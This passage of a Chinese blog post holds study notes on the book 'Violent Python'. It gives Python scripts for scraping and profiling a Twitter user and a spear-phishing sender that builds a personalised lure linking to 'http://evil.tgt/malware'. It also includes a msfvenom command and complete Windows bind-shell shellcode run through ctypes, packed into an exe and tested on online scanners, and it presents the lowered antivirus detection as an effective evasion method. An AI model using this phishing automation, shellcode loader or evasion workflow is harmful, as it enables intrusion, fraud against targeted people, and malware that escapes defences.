  35.     parser = optparse.OptionParser(‘[*]Usage: python linkParser.py -u <target url>‘)  
  36.     parser.add_option(‘-u‘, dest=‘tgtURL‘, type=‘string‘, help=‘specify target url‘)  
  37.     (options, args) = parser.parse_args()  
  38.     url = options.tgtURL  
  39.   
  40.     if url == None:  
  41.         print parser.usage  
  42.         exit(0)  
  43.     else:  
  44.         printLinks(url)  
  45.   
  46. if __name__ == ‘__main__‘:  
  47.     main()  

运行结果:

技术分享图片

可以看到,re模块解析的结果是含有styles.css链接,而BeautifulSoup模块却会自己识别并忽略掉。


用BeautifulSoup映射图像:

主要用BS寻找img标签,然后使用browser对象下载图片并以二进制的形式保存到本地目录中。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. from anonBrowser import *  
  4. from BeautifulSoup import BeautifulSoup  
  5. import os  
  6. import optparse  
  7.   
  8. def mirrorImages(url, dir):  
  9.     ab = anonBrowser()  
  10.     ab.anonymize()  
  11.     html = ab.open(url)  
  12.     soup = BeautifulSoup(html)  
  13.     image_tags = soup.findAll(‘img‘)  
  14.   
  15.     for image in image_tags:  
  16.         # lstrip() 方法用于截掉字符串左边的空格或指定字符  
  17.         filename = image[‘src‘].lstrip(‘http://‘)  
  18.         filename = os.path.join(dir, filename.replace(‘/‘, ‘_‘))  
  19.         print ‘[+] Saving ‘ + str(filename)  
  20.         data = ab.open(image[‘src‘]).read()  
  21.         # 回退  
  22.         ab.back()  
  23.         save = open(filename, ‘wb‘)  
  24.         save.write(data)  
  25.         save.close()  
  26.   
  27. def main():  
  28.     parser = optparse.OptionParser(‘[*]Usage: python imageMirror.py -u <target url> -d <destination directory>‘)  
  29.     parser.add_option(‘-u‘, dest=‘tgtURL‘, type=‘string‘, help=‘specify target url‘)  
  30.     parser.add_option(‘-d‘, dest=‘dir‘, type=‘string‘, help=‘specify destination directory‘)  
  31.     (options, args) = parser.parse_args()  
  32.     url = options.tgtURL  
  33.     dir = options.dir  
  34.     if url == None or dir == None:  
  35.         print parser.usage  
  36.         exit(0)  
  37.     else:  
  38.         try:  
  39.             mirrorImages(url, dir)  
  40.         except Exception, e:  
  41.             print ‘[-] Error Mirroring Images.‘  
  42.             print ‘[-] ‘ + str(e)  
  43.   
  44. if __name__ == ‘__main__‘:  
  45.     main()  

运行结果:

技术分享图片


3、研究、调查、发现:

用Python与谷歌API交互:

调用urllib库的quote_plus()函数进行URL编码,可以使查询内容的字符串中需要进行编码的内容进行相应的编码(如空格编码为+)。

书上的接口(http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=)已经过期了:

技术分享图片


提示换新的接口Custom Search API,具体怎么使用可以网上搜一下,这里直接上API:

https://www.googleapis.com/customsearch/v1?key=你的key&cx=你的id&num=1&alt=json&q=

num表示返回结果的数量、这里因为只是测试就设置为1,alt指定返回的数据格式、这里为Json,q后面为查询的内容、其内容需要经过URL编码。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import urllib  
  4. from anonBrowser import *  
  5.   
  6. def google(search_term):  
  7.     ab = anonBrowser()  
  8.     # URL编码  
  9.     search_term = urllib.quote_plus(search_term)  
  10.     response = ab.open(‘https://www.googleapis.com/customsearch/v1?key=你的key&cx=你的id&num=1&alt=json&q=‘ + search_term)  
  11.     print response.read()  
  12.   
  13. google(‘Boundock Saint‘)  

运行结果:

技术分享图片

可以看到返回的是Json格式的数据。


接着就对Json格式的数据进行处理:

添加json库的load()函数对Json数据进行加载即可:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import urllib  
  4. from anonBrowser import *  
  5. import json  
  6.   
  7. def google(search_term):  
  8.     ab = anonBrowser()  
  9.     # URL编码  
  10.     search_term = urllib.quote_plus(search_term)  
  11.     response = ab.open(‘https://www.googleapis.com/customsearch/v1?key=你的key&cx=你的id&num=1&alt=json&q=‘ + search_term)  
  12.     objects = json.load(response)  
  13.     print objects  
  14.   
  15. google(‘Boundock Saint‘)  

运行结果:

技术分享图片


因为API不同,返回的Json数据的结构也略为不同,需要重新解析:

技术分享图片


编写Google_Result类,用于保存Json数据解析下来的标题、页面链接以及一小段的简介:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import urllib  
  4. from anonBrowser import *  
  5. import json  
  6. import optparse  
  7.   
  8. class Google_Result:  
  9.     def __init__(self,title,text,url):  
  10.         self.title = title  
  11.         self.text = text  
  12.         self.url = url  
  13.   
  14.     def __repr__(self):  
  15.         return self.title  
  16.   
  17. def google(search_term):  
  18.     ab = anonBrowser()  
  19.     # URL编码  
  20.     search_term = urllib.quote_plus(search_term)  
  21.     response = ab.open(‘https://www.googleapis.com/customsearch/v1?key=你的key&cx=你的id&num=1&alt=json&q=‘ + search_term)  
  22.     objects = json.load(response)  
  23.     results = []  
  24.   
  25.     for result in objects[‘items‘]:  
  26.         url = result[‘link‘]  
  27.         title = result[‘title‘]  
  28.         text = result[‘snippet‘]  
  29.         print url  
  30.         print title  
  31.         print text  
  32.         new_gr = Google_Result(title, text, url)  
  33.         results.append(new_gr)  
  34.     return results  
  35.   
  36. def main():  
  37.     parser = optparse.OptionParser(‘[*]Usage: python anonGoogle.py -k <keywords>‘)  
  38.     parser.add_option(‘-k‘, dest=‘keyword‘, type=‘string‘, help=‘specify google keyword‘)  
  39.     (options, args) = parser.parse_args()  
  40.     keyword = options.keyword  
  41.   
  42.     if options.keyword == None:  
  43.         print parser.usage  
  44.         exit(0)  
  45.     else:  
  46.         results = google(keyword)  
  47.         print results  
  48.   
  49. if __name__ == ‘__main__‘:  
  50.     main()  

运行结果:

技术分享图片


用Python解析Tweets个人主页:

和Google一样,Twitter也给开发者提供了API,相关文档在http://dev.twitter.com/docs。当然,这部分是需要FQ的,而且API地址也换了,对于返回Json格式的数据需要如Google Custom Search API一样进行另外分析,方法大同小异,可以自行测试一下,这里就只列出书上的代码,后面涉及Twitter的小节也一样。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import json  
  4. import urllib  
  5. from anonBrowser import *  
  6.   
  7. class reconPerson:  
  8.     def __init__(self, first_name, last_name, job=‘‘, social_media={}):  
  9.         self.first_name = first_name  
  10.         self.last_name = last_name  
  11.         self.job = job  
  12.         self.social_media = social_media  
  13.   
  14.     def __repr__(self):  
  15.         return self.first_name + ‘ ‘ + self.last_name + ‘ has job ‘ + self.job  
  16.   
  17.     def get_social(self, media_name):  
  18.         if self.social_media.has_key(media_name):  
  19.             return self.social_media[media_name]  
  20.         return None  
  21.   
  22.     def query_twitter(self, query):  
  23.         query = urllib.quote_plus(query)  
  24.         results = []  
  25.         browser = anonBrowser()  
  26.         response = browser.open(‘http://search.twitter.com/search.json?q=‘ + query)  
  27.         json_objects = json.load(response)  
  28.         for result in json_objects[‘results‘]:  
  29.             new_result = {}  
  30.             new_result[‘from_user‘] = result[‘from_user_name‘]  
  31.             new_result[‘geo‘] = result[‘geo‘]  
  32.             new_result[‘tweet‘] = result[‘text‘]  
  33.             results.append(new_result)  
  34.         return results  
  35.   
  36. ap = reconPerson(‘Boondock‘, ‘Saint‘)  
  37. print ap.query_twitter(‘from:th3j35t3r since:2010-01-01 include:retweets‘)  


从推文中提取地理位置信息:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import json  
  4. import urllib  
  5. import optparse  
  6. from anonBrowser import *  
  7.   
  8. def get_tweets(handle):  
  9.     query = urllib.quote_plus(‘from:‘ + handle + ‘ since:2009-01-01 include:retweets‘)  
  10.     tweets = []  
  11.     browser = anonBrowser()  
  12.     browser.anonymize()  
  13.     response = browser.open(‘http://search.twitter.com/search.json?q=‘+ query)  
  14.     json_objects = json.load(response)  
  15.     for result in json_objects[‘results‘]:  
  16.         new_result = {}  
  17.         new_result[‘from_user‘] = result[‘from_user_name‘]  
  18.         new_result[‘geo‘] = result[‘geo‘]  
  19.         new_result[‘tweet‘] = result[‘text‘]  
  20.         tweets.append(new_result)  
  21.     return tweets  
  22.   
  23. def load_cities(cityFile):  
  24.     cities = []  
  25.     for line in open(cityFile).readlines():  
  26.         city=line.strip(‘\n‘).strip(‘\r‘).lower()  
  27.         cities.append(city)  
  28.     return cities  
  29.   
  30. def twitter_locate(tweets,cities):  
  31.     locations = []  
  32.     locCnt = 0  
  33.     cityCnt = 0  
  34.     tweetsText = ""  
  35.   
  36.     for tweet in tweets:  
  37.         if tweet[‘geo‘] != None:  
  38.             locations.append(tweet[‘geo‘])  
  39.         locCnt += 1   
  40.   
  41.     tweetsText += tweet[‘tweet‘].lower()  
  42.   
  43.     for city in cities:  
  44.         if city in tweetsText:  
  45.             locations.append(city)  
  46.             cityCnt+=1  
  47.   
  48.     print "[+] Found " + str(locCnt) + " locations via Twitter API and " + str(cityCnt) + " locations from text search."  
  49.     return locations  
  50.   
  51. def main():  
  52.     parser = optparse.OptionParser(‘[*]Usage: python twitterGeo.py -u <twitter handle> [-c <list of cities>]‘)  
  53.     parser.add_option(‘-u‘, dest=‘handle‘, type=‘string‘, help=‘specify twitter handle‘)  
  54.     parser.add_option(‘-c‘, dest=‘cityFile‘, type=‘string‘, help=‘specify file containing cities to search‘)  
  55.     (options, args) = parser.parse_args()  
  56.     handle = options.handle  
  57.     cityFile = options.cityFile  
  58.     if (handle==None):  
  59.         print parser.usage  
  60.         exit(0)  
  61.     cities = []  
  62.     if (cityFile!=None):  
  63.         cities = load_cities(cityFile)  
  64.     tweets = get_tweets(handle)  
  65.     locations = twitter_locate(tweets,cities)  
  66.     print "[+] Locations: "+str(locations)  
  67.   
  68. if __name__ == ‘__main__‘:  
  69.     main()  


用正则表达式解析Twitter用户的兴趣爱好:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import json  
  4. import re  
  5. import urllib  
  6. import urllib2  
  7. import optparse  
  8. from anonBrowser import *  
  9.   
  10. def get_tweets(handle):  
  11.     query = urllib.quote_plus(‘from:‘ + handle + ‘ since:2009-01-01 include:retweets‘)  
  12.     tweets = []  
  13.     browser = anonBrowser()  
  14.     browser.anonymize()  
  15.     response = browser.open(‘http://search.twitter.com/search.json?q=‘+ query)  
  16.     json_objects = json.load(response)  
  17.     for result in json_objects[‘results‘]:  
  18.         new_result = {}  
  19.         new_result[‘from_user‘] = result[‘from_user_name‘]  
  20.         new_result[‘geo‘] = result[‘geo‘]  
  21.         new_result[‘tweet‘] = result[‘text‘]  
  22.         tweets.append(new_result)  
  23.     return tweets  
  24.   
  25. def find_interests(tweets):  
  26.     interests = {}  
  27.     interests[‘links‘] = []  
  28.     interests[‘users‘] = []  
  29.     interests[‘hashtags‘] = []  
  30.   
  31.     for tweet in tweets:  
  32.         text = tweet[‘tweet‘]  
  33.         links = re.compile(‘(http.*?)\Z|(http.*?) ‘).findall(text)  
  34.   
  35.         for link in links:  
  36.             if link[0]:  
  37.                 link = link[0]  
  38.             elif link[1]:  
  39.                 link = link[1]  
  40.             else:  
  41.                 continue  
  42.   
  43.             try:  
  44.                 response = urllib2.urlopen(link)  
  45.                 full_link = response.url  
  46.                 interests[‘links‘].append(full_link)  
  47.             except:  
  48.                 pass  
  49.         interests[‘users‘] += re.compile(‘(@\w+)‘).findall(text)  
  50.         interests[‘hashtags‘] += re.compile(‘(#\w+)‘).findall(text)  
  51.   
  52.     interests[‘users‘].sort()  
  53.     interests[‘hashtags‘].sort()  
  54.     interests[‘links‘].sort()  
  55.   
  56.     return interests  
  57.   
  58. def main():  
  59.     parser = optparse.OptionParser(‘[*]Usage: python twitterInterests.py -u <twitter handle>‘)  
  60.     parser.add_option(‘-u‘, dest=‘handle‘, type=‘string‘, help=‘specify twitter handle‘)  
  61.     (options, args) = parser.parse_args()  
  62.     handle = options.handle  
  63.     if handle == None:  
  64.         print parser.usage  
  65.         exit(0)  
  66.   
  67.     tweets = get_tweets(handle)  
  68.     interests = find_interests(tweets)  
  69.     print ‘\n[+] Links.‘  
  70.     for link in set(interests[‘links‘]):  
  71.         print ‘ [+] ‘ + str(link)  
  72.   
  73.     print ‘\n[+] Users.‘  
  74.     for user in set(interests[‘users‘]):  
  75.         print ‘ [+] ‘ + str(user)  
  76.   
  77.     print ‘\n[+] HashTags.‘  
  78.     for hashtag in set(interests[‘hashtags‘]):  
  79.         print ‘ [+] ‘ + str(hashtag)  
  80.   
  81. if __name__ == ‘__main__‘:  
  82.     main()  


编写reconPerson类,封装所有抓取的地理位置、兴趣爱好以及Twitter页面的代码:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import urllib  
  4. from anonBrowser import *  
  5. import json  
  6. import re  
  7. import urllib2  
  8.   
  9. class reconPerson:  
  10.     def __init__(self, handle):  
  11.         self.handle = handle  
  12.         self.tweets = self.get_tweets()  
  13.   
  14.     def get_tweets(self):  
  15.         query = urllib.quote_plus(‘from:‘ + self.handle + ‘ since:2009-01-01 include:retweets‘)  
  16.         tweets = []  
  17.         browser = anonBrowser()  
  18.         browser.anonymize()  
  19.         response = browser.open(‘http://search.twitter.com/search.json?q=‘ + query)  
  20.         json_objects = json.load(response)  
  21.         for result in json_objects[‘results‘]:  
  22.             new_result = {}  
  23.             new_result[‘from_user‘] = result[‘from_user_name‘]  
  24.             new_result[‘geo‘] = result[‘geo‘]  
  25.             new_result[‘tweet‘] = result[‘text‘]  
  26.             tweets.append(new_result)  
  27.         return tweets  
  28.   
  29.     def find_interests(self):  
  30.         interests = {}  
  31.         interests[‘links‘] = []  
  32.         interests[‘users‘] = []  
  33.         interests[‘hashtags‘] = []  
  34.   
  35.         for tweet in self.tweets:  
  36.             text = tweet[‘tweet‘]  
  37.             links = re.compile(‘(http.*?)\Z|(http.*?) ‘).findall(text)  
  38.   
  39.             for link in links:  
  40.                 if link[0]:  
  41.                     link = link[0]  
  42.                 elif link[1]:  
  43.                     link = link[1]  
  44.                 else:  
  45.                     continue  
  46.             try:  
  47.                 response = urllib2.urlopen(link)  
  48.                 full_link = response.url  
  49.                 interests[‘links‘].append(full_link)  
  50.             except:  
  51.                 pass  
  52.             interests[‘users‘] += re.compile(‘(@\w+)‘).findall(text)  
  53.             interests[‘hashtags‘] += re.compile(‘(#\w+)‘).findall(text)  
  54.   
  55.         interests[‘users‘].sort()  
  56.         interests[‘hashtags‘].sort()  
  57.         interests[‘links‘].sort()  
  58.         return interests  
  59.   
  60.     def twitter_locate(self, cityFile):  
  61.         cities = []  
  62.         if cityFile != None:  
  63.             for line in open(cityFile).readlines():  
  64.                 city = line.strip(‘\n‘).strip(‘\r‘).lower()  
  65.                 cities.append(city)  
  66.   
  67.         locations = []  
  68.         locCnt = 0  
  69.         cityCnt = 0  
  70.         tweetsText = ‘‘  
  71.   
  72.         for tweet in self.tweets:  
  73.             if tweet[‘geo‘] != None:  
  74.                 locations.append(tweet[‘geo‘])  
  75.                 locCnt += 1  
  76.             tweetsText += tweet[‘tweet‘].lower()  
  77.   
  78.         for city in cities:  
  79.             if city in tweetsText:  
  80.                 locations.append(city)  
  81.                 cityCnt += 1  
  82.   
  83.         return locations  


4、匿名电子邮件、批量社工:

一次性电子邮箱提高匿名性,可以使用十分钟邮箱:

https://10minutemail.com/10MinuteMail/index.html

技术分享图片


使用Smtplib给目标对象发邮件:

这里用Python编写客户端的电子邮件并发送给目标主机,调用smtplib库来使用谷歌的Gmail SMTP服务器,进行登录、发送邮件等操作。

当然,gmail的安全措施做得很好,在用Python登录Gmail账号之前要保证你在Gmail中设置了允许不安全登录的选项。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import smtplib  
  4. from email.mime.text import MIMEText  
  5.   
  6. def sendMail(user, pwd, to, subject, text):  
  7.     msg = MIMEText(text)  
  8.     msg[‘From‘] = user  
  9.     msg[‘To‘] = to  
  10.     msg[‘Subject‘] = subject  
  11.     try:  
  12.         smtpServer = smtplib.SMTP(‘smtp.gmail.com‘, 587)  
  13.         print "[+] Connecting To Mail Server."  
  14.         smtpServer.ehlo()  
  15.         print "[+] Starting Encrypted Session."  
  16.         smtpServer.starttls()  
  17.         smtpServer.ehlo()  
  18.         print "[+] Logging Into Mail Server."  
  19.         smtpServer.login(user, pwd)  
  20.         print "[+] Sending Mail."  
  21.         smtpServer.sendmail(user, to, msg.as_string())  
  22.         smtpServer.close()  
  23.         print "[+] Mail Sent Successfully."  
  24.     except:  
  25.         print "[-] Sending Mail Failed."  
  26.   
  27. user = ‘username‘  
  28. pwd = ‘password‘  
  29. sendMail(user, pwd, [email protected]‘, ‘Re: Important‘, ‘Test Message‘)  

运行结果:

技术分享图片

由Gmail邮箱发往自己的QQ邮箱,到QQ邮箱查看:

技术分享图片


用smtplib进行网络钓鱼:

这里主要是结合前面twitterClass.py文件来利用目标对象留在Twitter上可以公开访问的信息进行攻击的,会找到目标的地理位置、@过的用户、hash标签以及链接,然后生成和发送一个含有恶意链接的电子邮件,等待目标对象去点击。自行修改了Twitter类解析的规则之后可以测试一下。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import smtplib  
  4. import optparse  
  5. from email.mime.text import MIMEText  
  6. from twitterClass import *  
  7. from random import choice  
  8.   
  9. def sendMail(user, pwd, to, subject, text):  
  10.     msg = MIMEText(text)  
  11.     msg[‘From‘] = user  
  12.     msg[‘To‘] = to  
  13.     msg[‘Subject‘] = subject  
  14.     try:  
  15.         smtpServer = smtplib.SMTP(‘smtp.gmail.com‘, 587)  
  16.         print "[+] Connecting To Mail Server."  
  17.         smtpServer.ehlo()  
  18.         print "[+] Starting Encrypted Session."  
  19.         smtpServer.starttls()  
  20.         smtpServer.ehlo()  
  21.         print "[+] Logging Into Mail Server."  
  22.         smtpServer.login(user, pwd)  
  23.         print "[+] Sending Mail."  
  24.         smtpServer.sendmail(user, to, msg.as_string())  
  25.         smtpServer.close()  
  26.         print "[+] Mail Sent Successfully."  
  27.     except:  
  28.         print "[-] Sending Mail Failed."  
  29.   
  30. def main():  
  31.     parser = optparse.OptionParser(‘[*]Usage: python sendSam.py -u <twitter target> -t <target email> ‘ + ‘-l <gmail login> -p <gmail password>‘)  
  32.     parser.add_option(‘-u‘, dest=‘handle‘, type=‘string‘, help=‘specify twitter handle‘)  
  33.     parser.add_option(‘-t‘, dest=‘tgt‘, type=‘string‘, help=‘specify target email‘)  
  34.     parser.add_option(‘-l‘, dest=‘user‘, type=‘string‘, help=‘specify gmail login‘)  
  35.     parser.add_option(‘-p‘, dest=‘pwd‘, type=‘string‘, help=‘specify gmail password‘)  
  36.     (options, args) = parser.parse_args()  
  37.     handle = options.handle  
  38.     tgt = options.tgt  
  39.     user = options.user  
  40.     pwd = options.pwd  
  41.     if handle == None or tgt == None or user ==None or pwd==None:  
  42.         print parser.usage  
  43.         exit(0)  
  44.   
  45.     print "[+] Fetching tweets from: " + str(handle)  
  46.     spamTgt = reconPerson(handle)  
  47.     spamTgt.get_tweets()  
  48.     print "[+] Fetching interests from: " + str(handle)  
  49.     interests = spamTgt.find_interests()  
  50.     print "[+] Fetching location information from: " + str(handle)  
  51.     location = spamTgt.twitter_locate(‘mlb-cities.txt‘)  
  52.   
  53.     spamMsg = "Dear " + tgt + ","  
  54.   
  55.     if (location != None):  
  56.         randLoc = choice(location)  
  57.         spamMsg += " Its me from " + randLoc + "."    
  58.   
  59.     if (interests[‘users‘] != None):  
  60.         randUser = choice(interests[‘users‘])  
  61.         spamMsg += " " + randUser + " said to say hello."  
  62.   
  63.     if (interests[‘hashtags‘] != None):  
  64.         randHash=choice(interests[‘hashtags‘])  
  65.         spamMsg += " Did you see all the fuss about " + randHash + "?"  
  66.   
  67.     if (interests[‘links‘]!=None):  
  68.         randLink=choice(interests[‘links‘])  
  69.         spamMsg += " I really liked your link to: " + randLink + "."  
  70.   
  71.     spamMsg += " Check out my link to http://evil.tgt/malware"  
  72.     print "[+] Sending Msg: " + spamMsg  
  73.   
  74.     sendMail(user, pwd, tgt, ‘Re: Important‘, spamMsg)  
  75.   
  76. if __name__ == ‘__main__‘:  
  77.     main()  



第七章——用Python实现免杀

1、免杀的过程:

使用Metasploit生成C语言风格的一些shellcode作为载荷,这里使用Windows bindshell,功能为选定一个TCP端口与cmd.exe进程绑定在一起,方便攻击者远程连接进行操控。

输入命令:

msfvenom -p windows/shell_bind_tcp LPORT=1337 -f c -o payload.c

具体参数的解释看《关于Metasploit的学习笔记(二)》即可。

技术分享图片

查看该c文件:

技术分享图片

接着在Python中调用ctypes库,定义一个存在该shellcode的变量,把变量看作是一个C语言的函数,执行它即可。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. from ctypes import *  
  4.   
  5. shellcode = ("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"  
  6. "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"  
  7. "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"  
  8. "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"  
  9. "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"  
  10. "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"  
  11. "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"  
  12. "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"  
  13. "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"  
  14. "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"  
  15. "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"  
  16. "\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40"  
  17. "\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x05\x39\x89"  
  18. "\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7"  
  19. "\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97"  
  20. "\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57"  
  21. "\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c"  
  22. "\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46"  
  23. "\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0"  
  24. "\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5"  
  25. "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb"  
  26. "\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5");  
  27.   
  28. memorywithshell = create_string_buffer(shellcode, len(shellcode))  
  29. shell = cast(memorywithshell, CFUNCTYPE(c_void_p))  
  30. shell()  


接着将该py文件转换成Windows的可执行文件exe,具体的操作可以看《关于本地提权的学习笔记(二):注入进程和利用漏洞提权》。

技术分享图片


运行该exe文件并查看端口:

技术分享图片

可以看到确实已经在运行监听了。


接着在Kali中直接nc连接目标主机的1337端口即可:

技术分享图片


2、免杀验证:

这里在国内正常是访问不了书上的vscan.novirusthanks.org的,但是下面的验证脚本可以借鉴一下:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import re  
  4. import httplib  
  5. import time  
  6. import os  
  7. import optparse  
  8. from urlparse import urlparse  
  9.   
  10. def printResults(url):  
  11.     status = 200  
  12.     host = urlparse(url)[1]  
  13.     path = urlparse(url)[2]  
  14.   
  15.     if ‘analysis‘ not in path:  
  16.         while status != 302:  
  17.             conn = httplib.HTTPConnection(host)  
  18.             conn.request(‘GET‘, path)  
  19.             resp = conn.getresponse()  
  20.             status = resp.status  
  21.             print ‘[+] Scanning file...‘  
  22.             conn.close()  
  23.             time.sleep(15)  
  24.   
  25.     print ‘[+] Scan Complete.‘  
  26.     path = path.replace(‘file‘, ‘analysis‘)  
  27.     conn = httplib.HTTPConnection(host)  
  28.     conn.request(‘GET‘, path)  
  29.     resp = conn.getresponse()  
  30.     data = resp.read()  
  31.     conn.close()  
  32.   
  33.     reResults = re.findall(r‘Detection rate:.*\)‘, data)  
  34.     htmlStripRes = reResults[1].replace(‘<font color=\‘red\‘>‘, ‘‘).replace(‘</font>‘, ‘‘)  
  35.     print ‘[+] ‘ + str(htmlStripRes)  
  36.   
  37. def uploadFile(fileName):  
  38.     print "[+] Uploading file to NoVirusThanks..."  
  39.     fileContents = open(fileName,‘rb‘).read()  
  40.   
  41.     header = {‘Content-Type‘: ‘multipart/form-data; boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U‘}  
  42.               
  43.     params = "------WebKitFormBoundaryF17rwCZdGuPNPT9U"  
  44.     params += "\r\nContent-Disposition: form-data; name=\"upfile\"; filename=\"" + str(fileName) + "\""  
  45.     params += "\r\nContent-Type: application/octet stream\r\n\r\n"  
  46.     params += fileContents  
  47.     params += "\r\n------WebKitFormBoundaryF17rwCZdGuPNPT9U"  
  48.     params += "\r\nContent-Disposition: form-data; name=\"submitfile\"\r\n"  
  49.     params += "\r\nSubmit File\r\n"  
  50.     params += "------WebKitFormBoundaryF17rwCZdGuPNPT9U--\r\n"  
  51.     conn = httplib.HTTPConnection(‘vscan.novirusthanks.org‘)  
  52.     conn.request("POST", "/", params, header)  
  53.     response = conn.getresponse()  
  54.     location = response.getheader(‘location‘)  
  55.     conn.close()  
  56.     return location  
  57.   
  58. def main():  
  59.     parser = optparse.OptionParser(‘[*]Usage: python virusCheck.py -f <filename>‘)  
  60.     parser.add_option(‘-f‘, dest=‘fileName‘, type=‘string‘, help=‘specify filename‘)  
  61.     (options, args) = parser.parse_args()  
  62.     fileName = options.fileName  
  63.   
  64.     if fileName == None:  
  65.         print parser.usage  
  66.         exit(0)  
  67.     elif os.path.isfile(fileName) == False:  
  68.         print ‘[+] ‘ + fileName + ‘ does not exist.‘  
  69.         exit(0)  
  70.     else:  
  71.         loc = uploadFile(fileName)  
  72.         printResults(loc)  
  73.   
  74. if __name__ == ‘__main__‘:  
  75.     main()  

可以根据国内的一些在线扫描查杀平台来改写该脚本,本质就是写一个实现上传功能的爬虫而已。


换一个国内的Virscan在线扫描来进行免杀验证:http://www.virscan.org/

技术分享图片

2/39,5.1%的查杀率。


Jotti在线恶意软件扫描:https://virusscan.jotti.org/

技术分享图片

1/18,5.5%的查杀率。



对比一下直接使用Metasploit生成的exe文件的免杀效果:

msfvenom -p windows/shell_bind_tcp LPORT=1337 -f exe -o bindshell2.exe

技术分享图片

15/39,38.4%的查杀率。


通过对比发现,本章节的方法实现的后门的免杀效果还是很强的。

简单概述来说,就是通过msf生成的后门,第一种可以直接生成exe文件、但是很容易被查杀掉;第二种就是生成c文件,然后通过Python的ctypes库来执行该C语言的payload,接着再将该py文件转换成exe文件,通过几次文件类型的转换,可以有效地避过大多数杀毒软件的查杀。



个人小结

本篇文章就大致如此了,简单地说一下感受吧,涉及Python安全的面比较广,有一些姿势值得学习借鉴,也学到了一些不常用的Python库是如何进行渗透利用的,重要的还是学了许多安全的思路。当然第五章无线安全部分限于环境条件以及实用性等因素的原因并没有写完,其他一些书上有问题的部分都对代码作了修改实现了相应的功能(Twitter那几小节和Google API的差不多就没有累赘了),若以后有时间再补充吧。最后,最重要的是要学会举一反三,懂得将书上的代码进行修改甚至完全重写,写出专属自己的渗透测试工具。































































































































































































































































































以上是关于Python绝技的主要内容,如果未能解决你的问题,请参考以下文章

python绝技 — 嗅探FTP登录口令

python绝技 — 侦听802.11 Probe请求

Python 绝技 —— UDP 服务器与客户端

《Python绝技:运用Python成为顶级黑客》 Python实用小工具

python绝技 — 用Scapy解析TTL字段的值

python绝技 — 使用PyGeoIP关联IP地址和物理位置